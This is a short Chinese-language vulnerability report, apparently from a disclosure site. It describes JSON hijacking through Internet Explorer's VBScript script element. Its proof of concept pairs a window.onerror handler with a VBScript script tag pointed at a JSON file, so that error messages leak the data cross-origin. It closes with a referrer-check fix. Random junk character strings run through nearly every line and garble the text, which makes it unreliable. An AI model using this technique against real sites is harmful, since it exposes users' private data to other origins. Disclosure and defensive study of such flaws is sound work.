简要描述:
7 y1 W+ w, M" d8 g7 V/ j3 ~; @, m0 f3 q, f# Y, {. _4 q
由于某些资源容器对数据处理不当导致json劫持漏洞.
. D+ e4 D7 W. Q, p详细说明:, x6 ~' b: L7 N2 K7 y
由于ie支持vbscript,所以script元素可以指定成vbscript语言:
2 v& M4 ~3 Q _<script language=vbscript></script>( R H+ y( e8 R+ u# {# H) ]6 G
# t( D( e% U0 c$ {+ w g8 f当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
# v2 U3 U6 v" L0 x0 P3 W漏洞证明:' n) g. d; g7 a) s0 h% {; X
<script>
! E. `! I3 k% {4 {1 E, kwindow.onerror=function(_){
- r5 z1 V* a U5 m) ^+ N* i. Yalert(_)% P4 E1 g# U6 t- J- z
}
" P H! [, G: `8 C R. N/ f</script>/ w* |* l% w6 ]$ c5 n
<script language=vbscript src=1.json></script>5 q9 P9 {' a2 u& N/ n# b
- B+ R+ b. p, X+ ?& s ( c# }+ l, L. J+ t- h6 w. [
1.json:
9 E6 g+ h: m3 {' K[{"name":"sogili","age":19}]
7 ^6 J7 T* y) Q }+ c, |" V {修复方案:* X' H& M+ V `' [
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |